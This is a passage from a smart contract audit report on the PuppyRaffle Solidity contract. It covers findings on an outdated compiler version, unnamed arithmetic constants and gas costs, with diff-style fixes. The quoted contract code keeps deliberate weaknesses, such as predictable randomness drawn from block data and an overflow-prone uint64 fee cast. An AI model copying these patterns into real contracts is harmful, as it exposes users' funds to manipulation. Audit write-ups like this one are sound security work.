            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

        // @audit Remove the player from the array before sending the refund
    (CEI pattern)
        players[playerIndex] = address(0);

        // Send the refund
        payable(playerAddress).sendValue(entranceFee); //@audit Ensure CEI
    pattern

        emit RaffleRefunded(playerAddress);
    }
```

OR the function can be deprecated all together.

[I-7] Use of floating and outdated solditiy versions is not best practice and poses security threats

Description

Using an outdated compiler version can be problematic especially if there are publicly disclosed bugs and issues that affect the current compiler version.

The codebase specifies a floating version of `^0.7.2`.

Impact

The issue of integer overflow/underflow as described in the `PuppyRaffle::selectWinner` function when calculating the `uint256 fees` and modifying state by adding to the `uint64 PuppyRaffle::totalFees` state variable that can lead to loss of fees for owner can be avoided by using solidity >= 0.8. Compile smart contracts with a newer version of the compiler. Thus, the preventive code of external libraries like SafeMath is embedded in the compiled code. Learn more here.

Proof of Concepts

```
        // SPDX-License-Identifier: MIT
    @>  pragma solidity ^0.7.6;
```

Recommended mitigation

Use a locked version of a recent solidity compiler.

```
// SPDX-License-Identifier: MIT
-  pragma solidity ^0.7.6;
+ pragma solidity 0.8.x;
```

[I-8] Undeclared arithmetic variables can cause difficulty understanding aritmetic operations in code

Description

In the `PuppyRaffle::selectWinner` function, during the calculation of prize and fees from the `totalAmountCollected`, there aaaaaare certain unnamed arithmetic figures used for arithmetic operations

Impact

The presence of this practice can in the future confuse whoever is reading the code, including developers, as to what the numbers are about.

Proof of Concepts

```
function selectWinner() external {

        require(
            block.timestamp >= raffleStartTime + raffleDuration,
            "PuppyRaffle: Raffle not over"
        ); /
        require(players.length >= 4, "PuppyRaffle: Need at least 4
players");

        uint256 winnerIndex = uint256(
            keccak256(
                abi.encodePacked(msg.sender, block.timestamp,
block.difficulty)
            )
        ) % players.length;
        address winner = players[winnerIndex];

        uint256 totalAmountCollected = players.length * entranceFee;
@>      uint256 prizePool = (totalAmountCollected * 80) / 100;
@>      uint256 fee = (totalAmountCollected * 20) / 100;

        totalFees = totalFees + uint64(fee);

        uint256 tokenId = totalSupply();
```

```
        // We use a different RNG calculate from the winnerIndex to
determine rarity
        uint256 rarity = uint256(
            keccak256(abi.encodePacked(msg.sender, block.difficulty))
        ) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }

        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;
        (bool success, ) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to
winner");
        _safeMint(winner, tokenId);
    }
```

Recommended mitigation

```
+ uint256 private constant WINNER_PRIZE_PERCENTAGE = 80;
+ uint256 private constant OWNER_FEES_PERCENTAGE = 20;
+ uint256 private constant PERCENTAGE_PRECISION = 100;

function selectWinner() external {

        require(
            block.timestamp >= raffleStartTime + raffleDuration,
            "PuppyRaffle: Raffle not over"
        ); /
        require(players.length >= 4, "PuppyRaffle: Need at least 4
players");

        uint256 winnerIndex = uint256(
            keccak256(
                abi.encodePacked(msg.sender, block.timestamp,
block.difficulty)
            )
        ) % players.length;
        address winner = players[winnerIndex];

        uint256 totalAmountCollected = players.length * entranceFee;
-       uint256 prizePool = (totalAmountCollected * 80) / 100;
+       uint256 prizePool = (totalAmountCollected *
WINNER_PRIZE_PERCENTAGE) / PERCENTAGE_PRECISION;
```

```
-       uint256 fee = (totalAmountCollected * 20) / 100;
+       uint256 fee = (totalAmountCollected * OWNER_FEES_PERCENTAGE) /
PERCENTAGE_PRECISION;

        totalFees = totalFees + uint64(fee);

        uint256 tokenId = totalSupply();

        // We use a different RNG calculate from the winnerIndex to
determine rarity
        uint256 rarity = uint256(
            keccak256(abi.encodePacked(msg.sender, block.difficulty))
        ) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }

        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;
        (bool success, ) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to
winner");
        _safeMint(winner, tokenId);
    }
```

Gas

[G-1] Caching of storage state variables in functions and loops will help reduce gas cost

Description

The `PuppyRaffle` contract contains instances where iterable state storage variables were iterated in loops continuosly.

Impact

Reading from storage is expensive. And multiple iterable state variable reads from storage could have been avoided to a max of 1 time in any function.

Proof of Concepts

In the `for` loops of `PuppyRaffle::enterRaffle` and `PuppyRaffle::selectWinner` functions, the `PuppyRaffle::players` state variable has been iterated through multiple times.

▶ PoC

```
function enterRaffle(address[] memory newPlayers) public payable {

        require(
            msg.value == entranceFee * newPlayers.length,
            "PuppyRaffle: Must send enough to enter raffle"
        );

        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
        }


        // Check for duplicates
@>      for (uint256 i = 0; i < players.length - 1; i++) {
@>        for (uint256 j = i + 1; j < players.length; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
        emit RaffleEnter(newPlayers);
    }

function selectWinner() external {

        require(
            block.timestamp >= raffleStartTime + raffleDuration,
            "PuppyRaffle: Raffle not over"
        ); /
@>      require(players.length >= 4, "PuppyRaffle: Need at least 4
players");

        uint256 winnerIndex = uint256(
            keccak256(
                abi.encodePacked(msg.sender, block.timestamp,
block.difficulty)
            )
@>      ) % players.length;
        address winner = players[winnerIndex];

@>      uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;

        totalFees = totalFees + uint64(fee);

        uint256 tokenId = totalSupply();

        // We use a different RNG calculate from the winnerIndex to
determine rarity
```

```
        uint256 rarity = uint256(
            keccak256(abi.encodePacked(msg.sender, block.difficulty))
        ) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }

        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;
        (bool success, ) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to
winner");
        _safeMint(winner, tokenId);
    }
```

Recommended mitigation

A local variable can be assigned the values of the iterable state variable once. This local variable ssshould now be called during the loops to avaoid expensive gas costs.

▶ Mitigation

```
function enterRaffle(address[] memory newPlayers) public payable {
+       uint256 playersLength = players.length;

        // require(players.length <= 10, "PuppyRaffle: Need at max 10
players");
        require(
            msg.value == entranceFee * newPlayers.length,
            "PuppyRaffle: Must send enough to enter raffle"
        );
        //@audit iterating through the nePlayers[] doesn't count. It is not
in storage, but memory, which is less expensive to read from
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
        }


        // Check for duplicates
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
                require(
```

```
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
        emit RaffleEnter(newPlayers);
    }

function selectWinner() external {
+       uint256 playersLength = players.length;

        require(
            block.timestamp >= raffleStartTime + raffleDuration,
            "PuppyRaffle: Raffle not over"
        ); /
-       require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
+       require(playersLength >= 4, "PuppyRaffle: Need at least 4
players");


        uint256 winnerIndex = uint256(
            keccak256(
                abi.encodePacked(msg.sender, block.timestamp,
block.difficulty)
            )
-       ) % players.length;
+       ) % playersLength;
        address winner = players[winnerIndex];

-       uint256 totalAmountCollected = players.length * entranceFee;
+       uint256 totalAmountCollected = playersLength * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;

        totalFees = totalFees + uint64(fee);

        uint256 tokenId = totalSupply();

        // We use a different RNG calculate from the winnerIndex to
determine rarity
        uint256 rarity = uint256(
            keccak256(abi.encodePacked(msg.sender, block.difficulty))
        ) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }

        delete players;
        raffleStartTime = block.timestamp;
```

```
        previousWinner = winner;
        (bool success, ) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to
winner");
        _safeMint(winner, tokenId);
    }
```